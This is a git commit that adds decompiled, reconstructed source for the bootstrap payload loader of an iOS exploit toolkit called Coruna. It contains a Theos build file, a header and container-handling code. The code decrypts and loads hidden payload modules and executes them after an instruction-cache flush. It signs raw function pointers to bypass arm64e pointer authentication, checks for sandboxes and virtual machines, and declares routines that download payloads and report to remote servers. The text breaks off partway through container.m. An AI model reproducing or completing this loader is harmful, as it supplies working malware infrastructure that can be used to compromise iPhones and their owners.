Attempt to fix source

This commit is contained in:
khanhduytran0
2026-03-12 18:33:50 +07:00
parent d0aa8395aa
commit 33b42fcf43
22 changed files with 7402 additions and 0 deletions
+15
View File
@@ -0,0 +1,15 @@
TARGET := iphone:clang:latest:14.0
ARCHS = arm64 arm64e
FINALPACKAGE = 1
STRIP = 0
GO_EASY_ON_ME = 1
include $(THEOS)/makefiles/common.mk
LIBRARY_NAME = bootstrap
bootstrap_FILES = $(wildcard *.m)
bootstrap_CFLAGS = -fobjc-arc -mcpu=apple-a12
bootstrap_INSTALL_PATH = /usr/local/lib
include $(THEOS_MAKE_PATH)/library.mk
+450
View File
@@ -0,0 +1,450 @@
/*
* bootstrap.h - Decompiled header for bootstrap.dylib
*
* This is a reverse-engineered reconstruction of the Coruna iOS exploit
* toolkit's bootstrap payload loader. The single export is _process().
*/
#ifndef BOOTSTRAP_H
#define BOOTSTRAP_H
#import <Foundation/Foundation.h>
#import <stdint.h>
#import <stddef.h>
#import <stdbool.h>
#import <mach/mach.h>
#import <string.h>
#ifdef __arm64e__
#import <ptrauth.h>
#endif
#import <ptrauth.h>
/*
* Sign a raw (unsigned) function pointer for arm64e PAC.
* The exploit chain's ctx contains raw function pointers; arm64e
* indirect calls authenticate via blraaz (key A, discriminator 0).
* Call sign_ctx_fptrs() once in process() to sign all ctx fields
* before any function pointer calls.
*/
/* ── Error codes ─────────────────────────────────────────────────── */
#define ERR_BASE 0x000A0000
#define ERR_NULL_CTX (ERR_BASE | 0xD001) /* 0x000AD001 */
#define ERR_GENERIC (ERR_BASE | 0xD009) /* 0x000AD009 */
#define ERR_ALLOC (ERR_GENERIC + 8) /* 0x000AD011 */
#define ERR_VIRTUAL_ENV (ERR_GENERIC + 2)
#define ERR_NO_CONTAINER 0x7003
#define ERR_CONTAINER_FOUND 0x7001
#define ERR_NO_DATA 0x7002
#define ERR_BAD_MAGIC 0x700C
#define ERR_BAD_BOUNDS 0x7005
#define ERR_BAD_SIZE 0x7004
#define ERR_ALLOC_SMALL (ERR_NULL_CTX + 8)
#define ERR_MMAP_FAIL 0x5008
#define ERR_TASK_INFO 0x5007
#define ERR_VM_ALIGN 0x5006
#define ERR_NO_DLSYM_RESULT 0x5005
#define ERR_NO_MODULE_PTR 0x5004
#define ERR_TIMEOUT 0x3015
#define ERR_HTTP_URL 0x3002
#define ERR_HTTP_URL_LEN 0x3003
#define ERR_HTTP_BODY_ERR 0x3016
#define ERR_HTTP_CT_ERR 0x3017
#define ERR_HTTP_DATA_ERR 0x3018
#define ERR_HTTP_EMPTY_BODY 0x3019
#define ERR_HTTP_MSG 0x3009
#define ERR_HTTP_STREAM 0x300A
#define ERR_HTTP_OPEN 0x300B
#define ERR_HTTP_SSL 0x300C
#define ERR_HTTP_SCHEME 0x300D
#define ERR_HTTP_PROXY 0x300E
#define ERR_HTTP_DICT 0x300F
#define ERR_HTTP_CLIENT 0x3010
#define ERR_HTTP_STATUS 0x3011
#define ERR_HTTP_NO_RESP 0x3005
#define ERR_HTTP_ZERO_LEN 0x3004
#define ERR_HTTP_STREAM_ERR 0x3008
#define ERR_MODULE_NO_VTBL (0x00028006)
#define ERR_MODULE_NO_INIT (0x00028002)
#define ERR_MODULE_NO_FUNC (0x00028006)
/* ── Container type IDs ──────────────────────────────────────────── */
#define CONTAINER_TYPE_DATA 0x50000
#define CONTAINER_TYPE_PAYLOAD 0x70000
#define CONTAINER_TYPE_MODULE 0x80000
#define CONTAINER_TYPE_LOADER 0x90000
/* ── Magic values ────────────────────────────────────────────────── */
#define MAGIC_FOODBEEF 0xF00DBEEF
#define MAGIC_BEDF00D 0x0BEDF00D
#define MAGIC_MANIFEST 0x12345678
#define MANIFEST_ENTRY_OFFSET 0x10C
#define MANIFEST_ENTRY_SIZE 0x64
/* ── SoC identifiers ────────────────────────────────────────────── */
#define SOC_TYPE_A 0x8765EDEA
#define SOC_TYPE_B 0xDA33D83D
#define SOC_TYPE_C 0x1B588BB2
#define SOC_TYPE_D 0x1B588BB3
#define SOC_TYPE_E 0x462504D2
#define SOC_TYPE_F 0x2876F5B5
#define SOC_VM_CHECK_A 0x92FB37C8
#define SOC_VM_CHECK_B 0x37A09642
#define SOC_VM_CHECK_C 0x2C91A47E
#define SOC_DEVICE_B_A 0x07D34B9F
#define SOC_DEVICE_B_B 0xE81E7EF6
/* ── Container slot ──────────────────────────────────────────────── */
#define MAX_CONTAINERS 24
#define CONTAINER_SLOT_SIZE 0x30
typedef struct container_slot {
uint32_t type; /* +0x00 */
uint32_t flags; /* +0x04 */
void *data_ptr; /* +0x08 */
uint32_t data_size; /* +0x10 */
uint32_t _pad1; /* +0x14 */
void *resolved_ptr; /* +0x18 */
uint64_t field_20; /* +0x20 */
uint64_t field_28; /* +0x28 */
} container_slot_t;
/* ── F00DBEEF container entry ────────────────────────────────────── */
typedef struct foodbeef_entry {
uint32_t type_flags; /* upper 16 bits = segment type */
uint32_t flags; /* typically 0x00000003 */
uint32_t data_offset; /* offset within container */
uint32_t data_size; /* size of data */
} foodbeef_entry_t;
/* ── F00DBEEF container header ───────────────────────────────────── */
typedef struct foodbeef_header {
uint32_t magic; /* 0xF00DBEEF */
uint32_t entry_count;
foodbeef_entry_t entries[];
} foodbeef_header_t;
/* ── Module vtable ───────────────────────────────────────────────── */
typedef struct module_vtable {
uint16_t version; /* +0x00, expected 2 */
uint16_t num_funcs; /* +0x02, expected >= 2 */
uint64_t _pad; /* +0x04 */
void *fn_deinit; /* +0x10 */
void *fn_init; /* +0x18 */
void *fn_cleanup; /* +0x20 */
void *fn_command; /* +0x28 */
void *fn_30; /* +0x30 */
void *fn_38; /* +0x38 */
void *fn_40; /* +0x40 */
void *fn_48; /* +0x48 */
} module_vtable_t;
/* ── Module handle ───────────────────────────────────────────────── */
typedef struct module_handle {
void *container; /* +0x00: container pointer */
module_vtable_t *vtable; /* +0x08: function table */
} module_handle_t;
/* ── Manifest entry ──────────────────────────────────────────────── */
typedef struct manifest_entry {
uint32_t flags; /* +0x00 */
uint8_t key[32]; /* +0x04 */
char filename[68]; /* +0x24, padded to 0x64 total */
} manifest_entry_t;
/* ── Manifest header ─────────────────────────────────────────────── */
typedef struct manifest_header {
uint32_t magic; /* 0x12345678 */
uint32_t _pad[65]; /* padding to 0x108 */
uint32_t entry_count; /* +0x108 */
/* entries start at +0x10C, each 0x64 bytes */
} manifest_header_t;
/* ── Stream callback context ─────────────────────────────────────── */
typedef struct stream_ctx {
void *response_msg; /* +0x00: CFHTTPMessageRef */
uint32_t error; /* +0x08 */
uint32_t status_code; /* +0x0C */
} stream_ctx_t;
/* ── Shared memory layout ────────────────────────────────────────── */
/* The shared memory region is used for JS bridge communication:
* +0x000000: state word (0=idle, 1=url_only, 3=response_ready, 5=timeout, 7=url+body)
* +0x000004: URL string (up to 0x7FFFFF bytes)
* +0x7FFFFF: NUL terminator
* +0x800000: body data (up to 0x800000 bytes)
* +0xFFFFFF: NUL terminator
*/
/* ── Function pointer types ──────────────────────────────────────── */
typedef uint32_t (*fn_consume_buffer_t)(void *ctx, uint32_t size);
typedef uint32_t (*fn_decrypt_t)(void *ctx, void *data, uint32_t size, void *out);
typedef uint32_t (*fn_dlsym_t)(void *ctx, void *handle, const char *sym, void **out);
typedef uint32_t (*fn_download_t)(void *ctx, const char *url, void **out_data, uint32_t *out_size);
typedef uint32_t (*fn_parse_container_t)(void *ctx, uint32_t type, void *data, uint32_t size);
typedef uint32_t (*fn_resolve_all_t)(void *ctx);
typedef uint32_t (*fn_find_or_load_t)(void *ctx, uint32_t type);
typedef uint32_t (*fn_unload_t)(void *ctx, uint32_t type);
typedef uint32_t (*fn_get_pointer_t)(void *ctx, uint32_t type, void **out);
typedef uint32_t (*fn_get_raw_data_t)(void *ctx, uint32_t type, void **out_ptr, uint32_t *out_size);
typedef void (*fn_icache_flush_t)(void *ctx, void *addr, uint32_t size);
typedef uint32_t (*fn_alloc_buffer_t)(void *ctx, uint32_t size);
typedef uint32_t (*fn_unload_container_t)(void *ctx, void *handle);
typedef void (*fn_bzero_t)(void *ctx, void *ptr, uint32_t size);
typedef uint32_t (*fn_log_t)(void *ctx, uint32_t error, const char *filename, uint32_t line);
/* ── Main bootstrap context (0x648 bytes) ────────────────────────── */
typedef struct bootstrap_ctx {
uint8_t header[0x18]; /* +0x000 */
uint64_t load_addr; /* +0x018 */
uint64_t oa_size; /* +0x020 */
fn_consume_buffer_t consume_buf; /* +0x028 */
fn_decrypt_t decrypt_func; /* +0x030 */
fn_dlsym_t dlsym_func; /* +0x038 */
fn_download_t download_func; /* +0x040 */
uint8_t *buffer_ptr; /* +0x048 */
uint32_t buffer_remaining; /* +0x050 */
uint32_t _pad050; /* +0x054 */
uint8_t _pad058[0x10]; /* +0x058 */
void *container_data; /* +0x068 */
uint32_t container_size; /* +0x070 */
uint32_t _pad074; /* +0x074 */
char *base_url; /* +0x078 */
char *secondary_url; /* +0x080 */
uint8_t *exec_base; /* +0x088 */
uint32_t exec_size; /* +0x090 */
uint32_t _pad094; /* +0x094 */
uint8_t *key_ptr; /* +0x098 */
char *user_agent; /* +0x0A0 */
char *alt_url; /* +0x0A8 */
fn_bzero_t bzero_func; /* +0x0B0 */
uint8_t _padB8[0x08]; /* +0x0B8 */
uint32_t os_version; /* +0x0C0: packed (minor<<8 | major<<16 | patch) */
uint32_t _padC4; /* +0x0C4 */
uint32_t kernel_version; /* +0x0C8 */
uint32_t _padCC; /* +0x0CC */
uint64_t xnu_version; /* +0x0D0 */
uint32_t soc_version; /* +0x0D8 */
uint32_t soc_subversion; /* +0x0DC */
uint32_t cpu_type; /* +0x0E0 */
uint32_t _padE4; /* +0x0E4 */
/* Function table (6 pointers) */
fn_parse_container_t fn_parse_container; /* +0x0E8 */
fn_resolve_all_t fn_resolve_all; /* +0x0F0 */
fn_find_or_load_t fn_find_or_load; /* +0x0F8 */
fn_unload_t fn_unload; /* +0x100 */
fn_get_pointer_t fn_get_pointer; /* +0x108 */
fn_get_raw_data_t fn_get_raw_data; /* +0x110 */
uint8_t _pad118[0x08]; /* +0x118 */
fn_icache_flush_t fn_icache_flush; /* +0x120 */
fn_alloc_buffer_t fn_alloc_buffer; /* +0x128 */
fn_unload_container_t fn_unload_cont; /* +0x130 */
uint32_t *atomic_state; /* +0x138 */
/* 24 container slots, each 0x30 bytes */
container_slot_t containers[MAX_CONTAINERS]; /* +0x140 ... +0x5BF */
/* Flags */
uint8_t flag_is_release; /* +0x5C0 */
uint8_t flag_device_type; /* +0x5C1 */
uint8_t flag_a; /* +0x5C2 */
uint8_t flag_new_ios; /* +0x5C3 */
uint8_t flag_ready; /* +0x5C4 */
uint8_t flag_b; /* +0x5C5 */
uint8_t _pad5C6; /* +0x5C6 */
uint8_t flag_direct_mem; /* +0x5C7 */
uint8_t _pad5C8[0x08]; /* +0x5C8 */
/* Memory mapping info */
uint64_t mmap_base; /* +0x5D0 */
uint64_t mmap_secondary; /* +0x5D8 */
/* Shared memory and sandbox */
void *shared_memory; /* +0x5E0 */
uint8_t is_sandboxed; /* +0x5E8 */
uint8_t flag_a15_features; /* +0x5E9 */
uint8_t _pad5EA; /* +0x5EA */
uint8_t logging_enabled; /* +0x5EB */
uint8_t flag_exit; /* +0x5EC */
uint8_t _pad5ED[0x03]; /* +0x5ED */
/* Logging and communication */
fn_log_t log_func; /* +0x5F0 */
uint32_t semaphore; /* +0x5F8: mach semaphore port */
uint8_t is_webcontent; /* +0x5FC */
uint8_t _pad5FD[0x03]; /* +0x5FD */
uint8_t _pad600[0x40]; /* +0x600 */
uint64_t cpu_features; /* +0x640 */
} bootstrap_ctx_t;
_Static_assert(sizeof(bootstrap_ctx_t) == 0x648, "bootstrap_ctx_t size mismatch");
/* ── PAC utilities (pac.c) ───────────────────────────────────────── */
int has_pac(void);
uint64_t strip_pac(uint64_t ptr);
uint64_t pac_sign_if_needed(uint64_t ptr, uint64_t ctx);
int check_pac_enabled(void);
uint64_t pacia(uint64_t ptr, uint64_t ctx);
uint64_t pacda(uint64_t ptr, uint64_t ctx);
uint64_t pacib(uint64_t ptr, uint64_t ctx);
uint64_t pacdb(uint64_t ptr, uint64_t ctx);
void resolve_pac_pointer(int sig, void *info, void *ucontext);
/*
* Sign raw (unsigned) function pointers in ctx for arm64e PAC.
* The exploit chain populates ctx with unsigned pointers; arm64e's
* blraaz (key A, disc 0) requires them signed. Call once in process()
* before any function pointer calls. Uses memcpy to bypass compiler
* PAC ops on typed struct field access.
*/
#ifdef __arm64e__
#define SIGN_RAW_FPTR(field) do { \
void *_raw = NULL; \
memcpy(&_raw, &(field), sizeof(void *)); \
if (_raw) { \
_raw = (void *)pacia((uint64_t)_raw, 0); \
memcpy(&(field), &_raw, sizeof(void *)); \
} \
} while (0)
#else
#define SIGN_RAW_FPTR(field) ((void)0)
#endif
static inline void sign_ctx_fptrs(bootstrap_ctx_t *ctx)
{
#ifdef __arm64e__
SIGN_RAW_FPTR(ctx->consume_buf);
SIGN_RAW_FPTR(ctx->decrypt_func);
SIGN_RAW_FPTR(ctx->dlsym_func);
SIGN_RAW_FPTR(ctx->download_func);
SIGN_RAW_FPTR(ctx->bzero_func);
SIGN_RAW_FPTR(ctx->fn_parse_container);
SIGN_RAW_FPTR(ctx->fn_resolve_all);
SIGN_RAW_FPTR(ctx->fn_find_or_load);
SIGN_RAW_FPTR(ctx->fn_unload);
SIGN_RAW_FPTR(ctx->fn_get_pointer);
SIGN_RAW_FPTR(ctx->fn_get_raw_data);
SIGN_RAW_FPTR(ctx->fn_icache_flush);
SIGN_RAW_FPTR(ctx->fn_alloc_buffer);
SIGN_RAW_FPTR(ctx->fn_unload_cont);
SIGN_RAW_FPTR(ctx->log_func);
#endif
}
/*
* Sign a single void* as a function pointer for arm64e.
* Use at call sites for one-off unsigned pointers (e.g. dlsym results,
* vtable entries stored as void*).
*/
#ifdef __arm64e__
#define SIGN_FPTR(type, ptr) \
((type)pacia((uint64_t)(ptr), 0))
#else
#define SIGN_FPTR(type, ptr) ((type)(ptr))
#endif
static inline void sign_vtable_fptrs(module_vtable_t *vt)
{
#ifdef __arm64e__
if (!vt) return;
/* vtable fields are void* — sign them in-place for arm64e calls */
if (vt->fn_deinit) vt->fn_deinit = (void*)pacia((uint64_t)vt->fn_deinit, 0);
if (vt->fn_init) vt->fn_init = (void*)pacia((uint64_t)vt->fn_init, 0);
if (vt->fn_cleanup) vt->fn_cleanup = (void*)pacia((uint64_t)vt->fn_cleanup, 0);
if (vt->fn_command) vt->fn_command = (void*)pacia((uint64_t)vt->fn_command, 0);
#endif
}
/* ── Cache and memory (memory.c) ─────────────────────────────────── */
void flush_icache(bootstrap_ctx_t *ctx, void *addr, uint32_t size);
uint32_t alloc_buffer(bootstrap_ctx_t *ctx, uint32_t size);
void* consume_buffer(bootstrap_ctx_t *ctx, uint32_t size);
uint32_t secure_bzero(bootstrap_ctx_t *ctx, void *ptr, uint32_t size);
uint32_t setup_memory(bootstrap_ctx_t *ctx);
/* ── System info (sysinfo.c) ─────────────────────────────────────── */
int get_os_version(uint32_t *out);
uint32_t check_virtual_env(uint8_t *result);
int check_device_a(uint8_t *out);
int check_device_b(uint8_t *out);
uint32_t init_system_info(bootstrap_ctx_t *ctx);
void* read_plist(const char *path);
/* ── Container management (container.c) ──────────────────────────── */
uint32_t parse_foodbeef(bootstrap_ctx_t *ctx, uint32_t type, void *data, uint32_t size);
uint32_t resolve_all_containers(bootstrap_ctx_t *ctx);
uint32_t find_or_load_container(bootstrap_ctx_t *ctx, uint32_t type);
uint32_t unload_container(bootstrap_ctx_t *ctx, uint32_t type);
uint32_t get_container_ptr(bootstrap_ctx_t *ctx, uint32_t type, void **out);
uint32_t get_raw_data(bootstrap_ctx_t *ctx, uint32_t type, void **out_ptr, uint32_t *out_size);
uint32_t init_function_table(bootstrap_ctx_t *ctx);
/* ── Module management (container.c) ─────────────────────────────── */
uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out);
uint32_t load_module_wrapper(bootstrap_ctx_t *ctx, void **out);
uint32_t module_call_init(module_handle_t *handle, uint32_t mode, void **out);
uint32_t module_call_cmd(module_handle_t *handle, void *arg1, uint32_t cmd, void *arg3);
uint32_t module_call_cleanup(module_handle_t *handle, void *arg);
uint32_t close_module(bootstrap_ctx_t *ctx, module_handle_t *handle);
/* ── Crypto (crypto.c) ───────────────────────────────────────────── */
void chacha20_encrypt(uint8_t *key, uint8_t *data, uint64_t size);
uint32_t decompress(void **ptr_to_data, uint32_t *ptr_to_size);
/* ── HTTP (http.c) ───────────────────────────────────────────────── */
uint32_t http_request(const char *url, const char *user_agent,
const char *content_type, const char *body,
void **out_data, uint32_t *out_size);
/* ── Logging (logging.c) ─────────────────────────────────────────── */
void print_log(const char *fmt, ...);
uint32_t send_log(bootstrap_ctx_t *ctx, const char *url,
void **out_data, uint32_t *out_size);
uint32_t format_and_send(const char *url, const char *ua,
const char *body_fmt, ...);
uint32_t format_log_entry(void **out_ptr, uint32_t *out_size,
const char *fmt, ...);
uint32_t send_report(bootstrap_ctx_t *ctx, uint32_t error,
const char *filename, uint32_t line);
uint32_t format_string(void **out_ptr, uint32_t *out_size,
const char *fmt, ...);
/* ── Communication (logging.c) ───────────────────────────────────── */
uint32_t init_communication(bootstrap_ctx_t *ctx);
uint32_t shared_mem_download(bootstrap_ctx_t *ctx, const char *url,
const char *body, uint32_t timeout,
void **out_data, uint32_t *out_size);
/* ── Download pipeline (download.c) ──────────────────────────────── */
int is_a15_or_newer(bootstrap_ctx_t *ctx);
uint32_t download_retries(bootstrap_ctx_t *ctx, void *data, uint32_t size,
char *url_buf, uint32_t url_size, void **key_out);
uint32_t download_manifest(bootstrap_ctx_t *ctx, uint32_t flags,
void *manifest, uint32_t manifest_size,
char *url_buf, uint32_t url_size, void **key_out);
uint32_t download_flags(bootstrap_ctx_t *ctx, void *data, uint32_t size,
char *url_buf, uint32_t url_size, void **key_out);
uint32_t download_and_process(bootstrap_ctx_t *ctx, uint32_t type,
void **out_ptr, uint32_t *out_size);
uint32_t get_arch_flags(bootstrap_ctx_t *ctx);
uint32_t download_decrypt(bootstrap_ctx_t *ctx, void *data, uint32_t size,
void *key, void **out_ptr, uint32_t *out_size);
uint32_t check_sandbox(bootstrap_ctx_t *ctx, uint8_t *out);
uint32_t init_sandbox_and_ua(bootstrap_ctx_t *ctx);
/* ── Main entry (main.c) ────────────────────────────────────────── */
uint32_t process_payload(bootstrap_ctx_t *ctx, const char *url,
uint32_t unused, uint32_t *result);
void* thread_main(bootstrap_ctx_t *ctx);
/* ── Exported symbol ─────────────────────────────────────────────── */
uint32_t process(bootstrap_ctx_t *ctx);
/* ── Stream callback (http.c) ────────────────────────────────────── */
void stream_read_callback(void *stream, int event, void *info);
#endif /* BOOTSTRAP_H */
+1
View File
@@ -0,0 +1 @@
_process
+450
View File
@@ -0,0 +1,450 @@
/*
* container.m - F00DBEEF container parsing and module management
*
* Decompiled from bootstrap.dylib offsets 0x7c9c-0x8928
*/
#import "bootstrap.h"
#import <string.h>
#import <stdlib.h>
#import <dlfcn.h>
/* ── parse_foodbeef (0x7c9c) ────────────────────────────────────── */
uint32_t parse_foodbeef(bootstrap_ctx_t *ctx, uint32_t type,
void *data, uint32_t size)
{
uint32_t err = ERR_NULL_CTX - 8;
if (!ctx || !data || !size)
return err;
if (size < 4)
return ERR_BAD_SIZE;
uint32_t magic = *(uint32_t *)data;
if (magic == MAGIC_FOODBEEF) {
print_log("[bootstrap] parse_foodbeef: F00DBEEF container size=%u", size);
if (size < 9)
return ERR_BAD_SIZE;
foodbeef_header_t *hdr = (foodbeef_header_t *)data;
uint32_t count = hdr->entry_count;
print_log("[bootstrap] parse_foodbeef: %u entries", count);
if (count < 1)
return 0;
uint8_t *base = (uint8_t *)data;
uint8_t *end = base + size;
for (uint32_t i = 0; i < count; i++) {
foodbeef_entry_t *entry = &hdr->entries[i];
if ((uint8_t *)entry < base || (uint8_t *)(entry + 1) > end)
return ERR_BAD_BOUNDS;
uint32_t etype = entry->type_flags;
if (!etype)
continue;
uint8_t *edata = base + entry->data_offset;
uint32_t esize = entry->data_size;
int found = 0;
for (int j = 0; j < MAX_CONTAINERS; j++) {
uint32_t st = ctx->containers[j].type;
if (st == 0 || st == etype) {
memset(&ctx->containers[j], 0, sizeof(container_slot_t));
ctx->containers[j].type = etype;
ctx->containers[j].flags = entry->flags;
ctx->containers[j].data_ptr = edata;
ctx->containers[j].data_size = esize;
found = 1;
print_log("[bootstrap] parse_foodbeef: slot[%d] type=0x%x size=0x%x", j, etype, esize);
break;
}
}
if (!found)
return ERR_GENERIC;
}
return 0;
}
print_log("[bootstrap] parse_foodbeef: raw data type=0x%x size=%u", type, size);
if (!type)
return ERR_BAD_MAGIC;
for (int i = 0; i < MAX_CONTAINERS; i++) {
uint32_t st = ctx->containers[i].type;
if (st == 0 || st == type) {
memset(&ctx->containers[i], 0, sizeof(container_slot_t));
ctx->containers[i].type = type;
ctx->containers[i].flags = 1;
ctx->containers[i].data_ptr = data;
ctx->containers[i].data_size = size;
return 0;
}
}
return ERR_GENERIC;
}
/* ── resolve_all_containers (0x7e10) ────────────────────────────── */
uint32_t resolve_all_containers(bootstrap_ctx_t *ctx)
{
print_log("[bootstrap] resolve_all_containers");
for (int i = 0; i < MAX_CONTAINERS; i++) {
container_slot_t *slot = &ctx->containers[i];
if (!slot->type || !slot->flags)
continue;
if (slot->resolved_ptr)
continue;
void *out = NULL;
uint32_t err = ((fn_decrypt_t)ctx->decrypt_func)(
ctx, slot->data_ptr, slot->data_size, &out);
if (err) {
print_log("[bootstrap] resolve_all_containers: decrypt FAIL slot=%d err=0x%x", i, err);
return err;
}
slot->resolved_ptr = out;
uint8_t *hdr = (uint8_t *)out;
slot->field_20 = *(uint64_t *)(hdr + 0x58);
ctx->containers[i].field_20 = *(uint64_t *)(hdr + 0x58);
*(uint32_t *)((uint8_t *)&ctx->containers[i] + 0x20) =
*(uint32_t *)(hdr + 0xa8);
}
return 0;
}
/* ── find_or_load_container (0x7ed4) ────────────────────────────── */
uint32_t find_or_load_container(bootstrap_ctx_t *ctx, uint32_t type)
{
uint32_t err = ERR_NULL_CTX;
if (!ctx)
return err;
if (!ctx->decrypt_func || !type)
return err;
container_slot_t *slot = NULL;
for (int i = 0; i < MAX_CONTAINERS; i++) {
if (ctx->containers[i].type == type) {
slot = &ctx->containers[i];
break;
}
}
if (!slot) {
print_log("[bootstrap] find_or_load_container: type=0x%x NOT FOUND", type);
return ERR_NO_CONTAINER;
}
if (slot->resolved_ptr)
return ERR_CONTAINER_FOUND;
if (!slot->data_ptr || !slot->data_size)
return ERR_NO_DATA;
print_log("[bootstrap] find_or_load_container: decrypting type=0x%x size=%u", type, slot->data_size);
void *out = NULL;
err = ((fn_decrypt_t)ctx->decrypt_func)(
ctx, slot->data_ptr, slot->data_size, &out);
if (err)
return err;
slot->resolved_ptr = out;
uint8_t *hdr = (uint8_t *)out;
slot->field_20 = *(uint64_t *)(hdr + 0x58);
*(uint32_t *)((uint8_t *)slot + 0x20) = *(uint32_t *)(hdr + 0xa8);
return 0;
}
/* ── unload_container (0x7fc8) ──────────────────────────────────── */
uint32_t unload_container(bootstrap_ctx_t *ctx, uint32_t type)
{
uint32_t err = ERR_NULL_CTX;
if (!ctx)
return err;
if (!ctx->fn_unload_cont || !type)
return err;
container_slot_t *slot = NULL;
for (int i = 0; i < MAX_CONTAINERS; i++) {
if (ctx->containers[i].type == type) {
slot = &ctx->containers[i];
break;
}
}
if (!slot)
return ERR_NO_CONTAINER;
if (slot->resolved_ptr) {
err = ctx->fn_unload_cont(ctx, slot->resolved_ptr);
if (err)
return err;
}
slot->resolved_ptr = NULL;
slot->field_20 = 0;
*(uint32_t *)((uint8_t *)slot + 0x20) = 0;
print_log("[bootstrap] unload_container: type=0x%x", type);
return 0;
}
/* ── get_container_ptr (0x8080) ─────────────────────────────────── */
uint32_t get_container_ptr(bootstrap_ctx_t *ctx, uint32_t type, void **out)
{
uint32_t err = ERR_NULL_CTX;
if (!ctx || !out)
return err;
*out = NULL;
if (!type)
return err;
container_slot_t *slot = NULL;
for (int i = 0; i < MAX_CONTAINERS; i++) {
if (ctx->containers[i].type == type) {
slot = &ctx->containers[i];
break;
}
}
if (!slot)
return ERR_NO_CONTAINER;
if (slot->resolved_ptr) {
*out = slot->resolved_ptr;
return 0;
}
err = find_or_load_container(ctx, type);
if (err)
return err;
*out = slot->resolved_ptr;
return 0;
}
/* ── get_raw_data (0x812c) ──────────────────────────────────────── */
uint32_t get_raw_data(bootstrap_ctx_t *ctx, uint32_t type,
void **out_ptr, uint32_t *out_size)
{
uint32_t err = ERR_NULL_CTX;
if (!ctx || !out_ptr || !out_size)
return err;
*out_ptr = NULL;
*out_size = 0;
if (!type)
return err;
for (int i = 0; i < MAX_CONTAINERS; i++) {
print_log("ctx->containers[i].type %d == type %d", ctx->containers[i].type, type);
if (ctx->containers[i].type == type) {
void *data = ctx->containers[i].data_ptr;
if (!data)
return ERR_NO_DATA;
uint32_t sz = ctx->containers[i].data_size;
if (!sz)
return ERR_NO_DATA;
*out_ptr = data;
*out_size = sz;
return 0;
}
}
return ERR_NO_CONTAINER;
}
/* ── init_function_table (0x8210) ───────────────────────────────── */
uint32_t init_function_table(bootstrap_ctx_t *ctx)
{
print_log("[bootstrap] init_function_table");
for (int i = 0; i < MAX_CONTAINERS; i++)
memset(&ctx->containers[i], 0, sizeof(container_slot_t));
ctx->fn_parse_container = (fn_parse_container_t)parse_foodbeef;
ctx->fn_resolve_all = (fn_resolve_all_t)resolve_all_containers;
ctx->fn_find_or_load = (fn_find_or_load_t)find_or_load_container;
ctx->fn_unload = (fn_unload_t)unload_container;
ctx->fn_get_pointer = (fn_get_pointer_t)get_container_ptr;
ctx->fn_get_raw_data = (fn_get_raw_data_t)get_raw_data;
return 0;
}
/* ── load_module (0x8590) ───────────────────────────────────────── */
uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out)
{
print_log("[bootstrap] load_module: type=0x%x", type);
void *raw_ptr = NULL;
uint32_t raw_size = 0;
void *decrypted = NULL;
void *dlsym_result = NULL;
uint32_t err = ctx->fn_get_raw_data(ctx, type, &raw_ptr, &raw_size);
if (err) {
print_log("[bootstrap] load_module: get_raw_data FAIL err=0x%x", err);
return err;
}
module_handle_t *handle = (module_handle_t *)malloc(sizeof(module_handle_t));
if (!handle)
return ERR_GENERIC;
err = ((fn_decrypt_t)ctx->decrypt_func)(ctx, raw_ptr, raw_size, &decrypted);
if (err)
goto fail;
if (ctx->fn_icache_flush) {
uint8_t *code = *(uint8_t **)((uint8_t *)decrypted + 0x58);
uint32_t code_size = *(uint32_t *)((uint8_t *)decrypted + 0xa8);
ctx->fn_icache_flush(ctx, code, code_size);
}
handle->container = decrypted;
err = ((fn_dlsym_t)ctx->dlsym_func)(ctx, decrypted, "_driver", &dlsym_result);
if (err) {
print_log("[bootstrap] load_module: dlsym _driver FAIL err=0x%x", err);
goto fail;
}
handle->vtable = NULL;
typedef uint32_t (*driver_fn_t)(void *, module_vtable_t **);
err = SIGN_FPTR(driver_fn_t, dlsym_result)(decrypted, &handle->vtable);
if (err)
goto fail;
module_vtable_t *vt = handle->vtable;
if (!vt)
goto fail_vtable;
sign_vtable_fptrs(vt);
if (vt->version != 2)
goto fail;
if (vt->num_funcs < 2)
goto fail;
vt->fn_deinit = (void *)strip_pac((uint64_t)vt->fn_deinit);
vt->fn_init = (void *)strip_pac((uint64_t)vt->fn_init);
vt->fn_cleanup = (void *)strip_pac((uint64_t)vt->fn_cleanup);
vt->fn_command = (void *)strip_pac((uint64_t)vt->fn_command);
vt->fn_30 = (void *)strip_pac((uint64_t)vt->fn_30);
vt->fn_38 = (void *)strip_pac((uint64_t)vt->fn_38);
vt->fn_40 = (void *)strip_pac((uint64_t)vt->fn_40);
vt->fn_48 = (void *)strip_pac((uint64_t)vt->fn_48);
print_log("[bootstrap] load_module: OK vtable version=%d funcs=%d", vt->version, vt->num_funcs);
*out = handle;
return 0;
fail_vtable:
err = ERR_MODULE_NO_VTBL;
fail:
print_log("[bootstrap] load_module: FAIL err=0x%x", err);
if (decrypted && ctx->fn_unload_cont)
ctx->fn_unload_cont(ctx, decrypted);
free(handle);
return err;
}
/* ── load_module_wrapper (0x8798) ───────────────────────────────── */
uint32_t load_module_wrapper(bootstrap_ctx_t *ctx, void **out)
{
return load_module(ctx, CONTAINER_TYPE_LOADER, out);
}
/* ── module_call_init (0x87d8) ──────────────────────────────────── */
uint32_t module_call_init(module_handle_t *handle, uint32_t mode, void **out)
{
if (!handle)
return ERR_NULL_CTX;
if (!out)
return ERR_NULL_CTX;
module_vtable_t *vt = handle->vtable;
if (!vt)
return ERR_MODULE_NO_VTBL;
print_log("[bootstrap] module_call_init: mode=%u", mode);
typedef uint32_t (*init_fn_t)(module_vtable_t *, uint32_t, void **);
return ((init_fn_t)vt->fn_init)(vt, mode, out);
}
/* ── module_call_cmd (0x8840) ───────────────────────────────────── */
uint32_t module_call_cmd(module_handle_t *handle, void *arg1,
uint32_t cmd, void *arg3)
{
if (!handle)
return ERR_NULL_CTX;
uint32_t err = ERR_MODULE_NO_INIT;
if (!arg1)
return err;
module_vtable_t *vt = handle->vtable;
if (!vt)
return err + 4;
print_log("[bootstrap] module_call_cmd: cmd=0x%x", cmd);
typedef uint32_t (*cmd_fn_t)(module_vtable_t *, void *, uint32_t, void *);
return ((cmd_fn_t)vt->fn_command)(vt, arg1, cmd, arg3);
}
/* ── module_call_cleanup (0x88b4) ───────────────────────────────── */
uint32_t module_call_cleanup(module_handle_t *handle, void *arg)
{
if (!handle)
return ERR_NULL_CTX;
